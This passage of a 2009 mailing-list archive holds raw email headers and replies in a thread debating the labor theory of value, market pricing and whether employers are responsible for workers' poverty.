produce the item. two different > approaches, make sure you are all talking about the same thing. value > to WHOM? > > On Sun, May 24, 2009 at 2:34 PM, Jeff Fink wrote: > > > > > > Karl Marx proposed that the value of a manufactured > > item is related to the work required to produce it > > (the labor theory of value. > > > > Jack Smith > > > > A beautiful sand sculpture on the beach may require a great deal of wor= k > and > > talent, but it has no dollar value. > > > > The value of an item may be related to the work involved, but true valu= e > is > > determined by the demand for it. > > > > Jeff > > > > > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c0fa8dff03a046b603792 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Indeed!=A0 The economics of the open-source world, when profits are based o= n good will and giving away products, and when the means of production is s= oftware which isn't scarce, the old economics of capitalism and sociali= sm are transcended. Libertarians and Leftists converge here.



On Tue, Jun 2, 2009 at 12:01 PM, Jef= f Fink <revtec@ptd.n= et> wrote:
A system of free commerce is self regulating. =A0Supply will match demand. = =A0It
is not that supply and demand set the price, but that prices change to caus= e
demand and supply to match. When prices are fixed, the system gets out of kilter. =A0When prices are fixed to low (usually by a government), the pric= e
becomes meaningless because there is no product on the shelf for anyone to<= br> buy. =A0It is either sold out or it was removed from the shelf by the suppl= ier
as he waits for pricing insanity to pass. =A0Quite often in this scenario production stops because it is uneconomical to run the production operation= .

Jeff

-----Original Message-----
From: leaking pen [mailto:itsatrap@gm= ail.com]
Sent: Tuesday, June 02, 2009 10:02 AM
To: vortexb-l@eskimo.com
Subject: Re: [VoB]:China vs. US

This. =A0A dozen times this. =A0The= value of an item on the open market is
whatever the market will bear. =A0the value of an item to a SOCIETY is
the labor and resources used to produce the item. =A0two different
approaches, make sure you are all talking about the same thing. =A0value to WHOM?

On Sun, May 24, 2009 at 2:34 PM, Jeff Fink <revtec@ptd.net> wrote:
>
>
> Karl Marx proposed that the value of a manufactured
> item is related to the work required to produce it
> (the labor theory of value.
>
> Jack Smith
>
> A beautiful sand sculpture on the beach may require a great deal of wo= rk
and
> talent, but it has no dollar value.
>
> The value of an item may be related to the work involved, but true val= ue
is
> determined by the demand for it.
>
> Jeff
>
>






--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c0fa8dff03a046b603792-- From vortexb-l-request@eskimo.com Tue Jun 2 10:01:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52H11kS023171; Tue, 2 Jun 2009 10:01:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52H0tGk023052; Tue, 2 Jun 2009 10:00:55 -0700 Resent-Date: Tue, 2 Jun 2009 10:00:55 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=cmaHyDCdGUITKANGI52+WL/xsatyhg356uO2qOcWrn4=; b=QQeeva4vr6GTRkWYrCJKaapt8BeWckJIIuiWd39IXZqG11MRFPSX6voa7kQgWe/qPZ JWGk1RMGttkbhGlPSodQoQrqxTP/kGdddzcXgPV/fq5PrnVQNwK8u/nE37houxG6vA16 NnvBFu2jhSBHHvjKPb4fTBSBJDCcuSLJMyvb8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=vEUuJGUWV3fgcARloRXeHYgkMbbX7nJ9yC+95cun7WX66e3cI8VV6XGJmd+YOXEnmF e81kCRcpMGTeYbV/RGurBPxgRWGUx7xHK//04UmtXUNqV6aPPcn6m0P9qYeBBoW2+pbg nr18bYq6O2xsrooN8cS2XBMFhn8nA2N/H08rs= MIME-Version: 1.0 In-Reply-To: <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> Date: Tue, 2 Jun 2009 10:00:49 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <6es3kD.A.BoF.HrVJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4304 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 546 Yes, starve quickly, or slave away for me and starve slowly, is a COMPLETELY voluntary transaction...Allowing individuals to exploit the society for their benefit is JUST as broken as allowing society to exploit the individual for the benefit of society. there has to be a medium. Face it, you don't believe in capitalism. You believe in feudalism. On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE wrote: > Your analysis will remain broken until you can distinguish between volunt= ary > and involuntary transactions. > > > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen wrote: >> >> Saying >> that a business should be able to pay their workers whatever they want >> is like saying that if a business doesn't like the cost of some of >> their raw materials, they have a right to go, steal the materials, and >> leave whatever pittance they deem fair behind as payment. > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Tue Jun 2 10:01:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52H1gDI012398; Tue, 2 Jun 2009 10:01:42 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52H1fXn012386; Tue, 2 Jun 2009 10:01:41 -0700 Resent-Date: Tue, 2 Jun 2009 10:01:41 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=xntzfHydFNn0+1T7hPPB36srjqN+l9zT86mX1E0w+XE=; b=GVrkRQe2+KmA/4yiwNoECpN5ZeDzvu4BoF52RDfcYLKl53udHhyGKUrcIAoK4vEm2l dpdtuHjS0Sp0GZg5zD99N0WP0LDEcgWzZ8ySXy6haLW+wjEYTiqLRN4rP1NSH2xfm/+H QWIkOpY3et4PF2CZn5oWISPz3m4eZYA89f9yI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=IE2hudqkc64FmS2xziuX7/mG9Vj1D3xHVK8V5RCrkvXL0igHvvgSXEgQ9dvuRKVUpb Us49jg15kLBSWKfzyF8SVMEYdb+LP1L8y1ec28GgZXtZrduN2BT5u1Fe7rZDZdHqvcSx PuS/lyWVZ/ylLBhz7UTcH/w2kxogcTmjB/WBI= MIME-Version: 1.0 In-Reply-To: <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> References: <20090521180408.GD1262@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> Date: Tue, 2 Jun 2009 10:01:40 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <4Sm8mD.A.cBD.1rVJKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4305 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 547 Which has... what to do with the price of tea in china? On Tue, Jun 2, 2009 at 9:01 AM, Jeff Fink wrote: > A system of free commerce is self regulating. Supply will match demand. It > is not that supply and demand set the price, but that prices change to cause > demand and supply to match. When prices are fixed, the system gets out of > kilter. When prices are fixed to low (usually by a government), the price > becomes meaningless because there is no product on the shelf for anyone to > buy. It is either sold out or it was removed from the shelf by the supplier > as he waits for pricing insanity to pass. Quite often in this scenario > production stops because it is uneconomical to run the production operation. > > Jeff > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Tuesday, June 02, 2009 10:02 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:China vs. US > > This. A dozen times this. The value of an item on the open market is > whatever the market will bear. the value of an item to a SOCIETY is > the labor and resources used to produce the item. two different > approaches, make sure you are all talking about the same thing. value > to WHOM? > > On Sun, May 24, 2009 at 2:34 PM, Jeff Fink wrote: >> >> >> Karl Marx proposed that the value of a manufactured >> item is related to the work required to produce it >> (the labor theory of value. >> >> Jack Smith >> >> A beautiful sand sculpture on the beach may require a great deal of work > and >> talent, but it has no dollar value. >> >> The value of an item may be related to the work involved, but true value > is >> determined by the demand for it. >> >> Jeff >> >> > > > > From vortexb-l-request@eskimo.com Tue Jun 2 10:09:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52H94SP025534; Tue, 2 Jun 2009 10:09:04 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52H93tc025522; Tue, 2 Jun 2009 10:09:03 -0700 Resent-Date: Tue, 2 Jun 2009 10:09:03 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=+7iXEbqrRyREDK4lfPZpOIjA6FKdecCFqwyKI0jTVzk=; b=U3hmIgExhr+9kAFih69VLz848WGHcOCbLE3siHlYSUg52LInZeITfRPjfHgzJ9VKb8 F9mJqxKFeHAw+c53Q4R/ZPpaalFBq86uMmMo3q/bOCLVlbD/DLFmAEoMjuBcA6dv3NYC hZ7XqUwu0YIcztdTN99SF3ZGhFF77c2rxL3/M= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=t1DIReWTG85muQUZIIDhUBesKJFLdD/wWcoFOKqQUXSyQ0pb3RK/lLi02BWhgI6Pd0 dCu0iw85ZnQvYCtx1bl40s9nixsL9HYZ/D8IM+OjV1h2Qht2JyAhbr5mGBjaaQcVBxdf G6eKmKJEmzEengzXBTQMFFeNYx7J2RNilUqM0= MIME-Version: 1.0 In-Reply-To: References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> From: Charles HOPE Date: Tue, 2 Jun 2009 13:08:30 -0400 Message-ID: <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c18baf18ce4046b609846 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4306 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 548 --0015174c18baf18ce4046b609846 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable This goes back to the question grok ignored: how is the employer responsibl= e for your plight, unless they caused it themselves, directly? On Tue, Jun 2, 2009 at 1:00 PM, leaking pen wrote: > Yes, starve quickly, or slave away for me and starve slowly, is a > COMPLETELY voluntary transaction...Allowing individuals to exploit the > society for their benefit is JUST as broken as allowing society to > exploit the individual for the benefit of society. there has to be a > medium. Face it, you don't believe in capitalism. You believe in > feudalism. > > On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE > wrote: > > Your analysis will remain broken until you can distinguish between > voluntary > > and involuntary transactions. > > > > > > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen wrote= : > >> > >> Saying > >> that a business should be able to pay their workers whatever they want > >> is like saying that if a business doesn't like the cost of some of > >> their raw materials, they have a right to go, steal the materials, and > >> leave whatever pittance they deem fair behind as payment. > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c18baf18ce4046b609846 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable This goes back to the question grok ignored: how is the employer responsibl= e for your plight, unless they caused it themselves, directly?


<= br>
On Tue, Jun 2, 2009 at 1:00 PM, leaking pen <= span dir=3D"ltr"><itsatrap@gmail.c= om> wrote:
Yes, starve quick= ly, or slave away for me and starve slowly, is a
COMPLETELY voluntary transaction...Allowing individuals to exploit the
society for their benefit is JUST as broken as allowing society to
exploit the individual for the benefit of society. there has to be a
medium. =A0Face it, you don't believe in capitalism. =A0You believe in<= br> feudalism.

On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE
<lookslikeiwasright@gmai= l.com> wrote:
> Your analysis will remain broken until you can distinguish between vol= untary
> and involuntary transactions.
>
>
> On Tue, Jun 2, 2009 at 10:06 AM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> Saying
>> that a business should be able to pay their workers whatever they = want
>> is like saying that if a business doesn't like the cost of som= e of
>> their raw materials, they have a right to go, steal the materials,= and
>> leave whatever pittance they deem fair behind as payment.
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c18baf18ce4046b609846-- From vortexb-l-request@eskimo.com Tue Jun 2 11:18:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52IHxAQ022191; Tue, 2 Jun 2009 11:18:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52IHtfC022180; Tue, 2 Jun 2009 11:17:55 -0700 Resent-Date: Tue, 2 Jun 2009 11:17:55 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=UISq8PufaGze61T1jj08AX29MOBxWO1lJdgGR52pXao=; b=ed1/hjM2fG+N73H2kyPDgYvHNxiOOTwpUX/Qya289XnXsPd4z9lr5nyIxvS0RzFBqV rcoYdr911EO14qxTnMt4t/MkR8DSJDE7z0yAcFEYXbIrsjcXFfCxikchACblOOQTNdMi aSnB/2sziL72muOOmpDoUk+YuIGf/WocM13eo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=iRA1/8OJgWFTYCWka54GCrPpsksUYuWjc0C+fJQJTjJO7eeGNYEWfSgOOKwi5Ndc/t e6yUgnAydLzwAt+VMWXhFVBNDdPsCtUbg64ePtEuu52Dp+mmh/6NhgXRAa/b7VgWx3YD JuLIy09RDMKGVkkWiv5EbkgtfHdJAEC0ZGC9Q= MIME-Version: 1.0 In-Reply-To: <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> Date: Tue, 2 Jun 2009 11:17:50 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <7B2bPC.A.eaF.TzWJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4307 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 549 how is squeezing labor out of people at a rate that keeps them in the ghetto and prevents any real growth NOT causing it? On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE wrote: > This goes back to the question grok ignored: how is the employer responsi= ble > for your plight, unless they caused it themselves, directly? > > > > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen wrote: >> >> Yes, starve quickly, or slave away for me and starve slowly, is a >> COMPLETELY voluntary transaction...Allowing individuals to exploit the >> society for their benefit is JUST as broken as allowing society to >> exploit the individual for the benefit of society. there has to be a >> medium. Face it, you don't believe in capitalism. You believe in >> feudalism. >> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE >> wrote: >> > Your analysis will remain broken until you can distinguish between >> > voluntary >> > and involuntary transactions. >> > >> > >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen wrot= e: >> >> >> >> Saying >> >> that a business should be able to pay their workers whatever they wan= t >> >> is like saying that if a business doesn't like the cost of some of >> >> their raw materials, they have a right to go, steal the materials, an= d >> >> leave whatever pittance they deem fair behind as payment. >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the tick-tick-tick of the want >> > A uranium angel >> > Crying =93behold,=94 >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Tue Jun 2 11:21:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52ILfha023360; Tue, 2 Jun 2009 11:21:41 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52ILfEn023349; Tue, 2 Jun 2009 11:21:41 -0700 Resent-Date: Tue, 2 Jun 2009 11:21:41 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <20090521180408.GD1262@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> Subject: RE: [VoB]:China vs. US Date: Tue, 2 Jun 2009 14:21:39 -0400 Message-ID: <70AED30444BF4635A7FA0BADC2F9C25B@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnjpB5Y5xLGZbQISTC3QN1a+5MFEwACqqng Resent-Message-ID: <7Yeih.A.rsF.02WJKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4308 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 550 I was responding to the discussion of how the value of an item is determined. Jeff -----Original Message----- From: leaking pen [mailto:itsatrap@gmail.com] Sent: Tuesday, June 02, 2009 1:02 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Which has... what to do with the price of tea in china? On Tue, Jun 2, 2009 at 9:01 AM, Jeff Fink wrote: > A system of free commerce is self regulating. Supply will match demand. It > is not that supply and demand set the price, but that prices change to cause > demand and supply to match. When prices are fixed, the system gets out of > kilter. When prices are fixed to low (usually by a government), the price > becomes meaningless because there is no product on the shelf for anyone to > buy. It is either sold out or it was removed from the shelf by the supplier > as he waits for pricing insanity to pass. Quite often in this scenario > production stops because it is uneconomical to run the production operation. > > Jeff > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Tuesday, June 02, 2009 10:02 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:China vs. US > > This. A dozen times this. The value of an item on the open market is > whatever the market will bear. the value of an item to a SOCIETY is > the labor and resources used to produce the item. two different > approaches, make sure you are all talking about the same thing. value > to WHOM? > > On Sun, May 24, 2009 at 2:34 PM, Jeff Fink wrote: >> >> >> Karl Marx proposed that the value of a manufactured >> item is related to the work required to produce it >> (the labor theory of value. >> >> Jack Smith >> >> A beautiful sand sculpture on the beach may require a great deal of work > and >> talent, but it has no dollar value. >> >> The value of an item may be related to the work involved, but true value > is >> determined by the demand for it. >> >> Jeff >> >> > > > > From vortexb-l-request@eskimo.com Tue Jun 2 11:42:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52Ig0w2030214; Tue, 2 Jun 2009 11:42:00 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52IfxSD030201; Tue, 2 Jun 2009 11:41:59 -0700 Resent-Date: Tue, 2 Jun 2009 11:41:59 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=emA4y23QaZpCGCgk2msLbO46sBM2K/mYir8ryvCWSO8=; b=fEAaiotS+6NMEFRJGr7Tt98qgeFcm9bPn8cwhWwXOUOXpiOQbDihsUoNm9+7jfXIf4 x5eemgKW2u/QjTyAtzUcR88aXhAkEtbhoGOulxXOqcWGl5LNLBNAMI3BlEtWN243DiOz NSaVY1/xFE+jLNdLVuyimaGGK4t1knpWusgrE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=dvLY1UxDARu6Ju5tcTxDax4G0CJ8kfjaZ8ZseOyjF8vsbd34qZZoCjDU6sE9afd0Sj w942klZqXMNUh9NWlWmkDSvfol3qDzb0CjBkA3At9yvOf7rMUCHQ2YneZ+iION6HKu/4 KL382yQ32tY+w6EVYE7OXz9gxoaugsFY7E9zc= MIME-Version: 1.0 In-Reply-To: <70AED30444BF4635A7FA0BADC2F9C25B@REVTEC1> References: <20090521180408.GD1262@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> <70AED30444BF4635A7FA0BADC2F9C25B@REVTEC1> Date: Tue, 2 Jun 2009 11:41:58 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4309 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 551 Right. government price fixing has not at any time been part of the discussion On Tue, Jun 2, 2009 at 11:21 AM, Jeff Fink wrote: > I was responding to the discussion of how the value of an item is > determined. > > Jeff > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Tuesday, June 02, 2009 1:02 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:China vs. US > > Which has... what to do with the price of tea in china? > > On Tue, Jun 2, 2009 at 9:01 AM, Jeff Fink wrote: >> A system of free commerce is self regulating. Supply will match demand. > It >> is not that supply and demand set the price, but that prices change to > cause >> demand and supply to match. When prices are fixed, the system gets out of >> kilter. When prices are fixed to low (usually by a government), the price >> becomes meaningless because there is no product on the shelf for anyone to >> buy. It is either sold out or it was removed from the shelf by the > supplier >> as he waits for pricing insanity to pass. Quite often in this scenario >> production stops because it is uneconomical to run the production > operation. >> >> Jeff >> >> -----Original Message----- >> From: leaking pen [mailto:itsatrap@gmail.com] >> Sent: Tuesday, June 02, 2009 10:02 AM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:China vs. US >> >> This. A dozen times this. The value of an item on the open market is >> whatever the market will bear. the value of an item to a SOCIETY is >> the labor and resources used to produce the item. two different >> approaches, make sure you are all talking about the same thing. value >> to WHOM? >> >> On Sun, May 24, 2009 at 2:34 PM, Jeff Fink wrote: >>> >>> >>> Karl Marx proposed that the value of a manufactured >>> item is related to the work required to produce it >>> (the labor theory of value. >>> >>> Jack Smith >>> >>> A beautiful sand sculpture on the beach may require a great deal of work >> and >>> talent, but it has no dollar value. >>> >>> The value of an item may be related to the work involved, but true value >> is >>> determined by the demand for it. >>> >>> Jeff >>> >>> >> >> >> >> > > > > From vortexb-l-request@eskimo.com Tue Jun 2 11:55:21 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52ItEwL002250; Tue, 2 Jun 2009 11:55:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52ItDdx002242; Tue, 2 Jun 2009 11:55:13 -0700 Resent-Date: Tue, 2 Jun 2009 11:55:13 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=UD9JHB5whrBGvo/pJetNQ27Cnjwj3rIPELf67vu3bfY=; b=wnOEIT0w6upKRtGd5S9vSBWLaNsUU1+HSlTw5Pkyd/IUI/I7mUNlIQvkNXXIlMJ5t1 4DbSX4NCapo1KT0AaE+l0/unG+dDLl65xL6kYoUewB/G8FHEuYqavMHv5YplCgHwUAaN uG70hI8x1OQHm8pGUUsi8AsR6reL91tdK5rmU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=N9cy61SmxLO69PnnaCTtI9RKf9Eb1GzOlySQ3dwyNK4QalgHZyO1MknM5fz8wvOCxL 0a4Gsu3Rki7P1uQsur5DD5NFDe9yPf8oHCdOSdgFKo3mRC5chwP5dJ91TgV5WIo9z/NR XWJJykSZmT2WeCCCf8vSthcddlKC3BEIvcIUo= MIME-Version: 1.0 In-Reply-To: References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> From: Charles HOPE Date: Tue, 2 Jun 2009 14:54:51 -0400 Message-ID: <63ffa6020906021154we56f7f7m8eb89de42e24823@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c40fc2f20d4046b621500 Resent-Message-ID: <8_6SZD.A.8i.RWXJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4310 X-Loop: 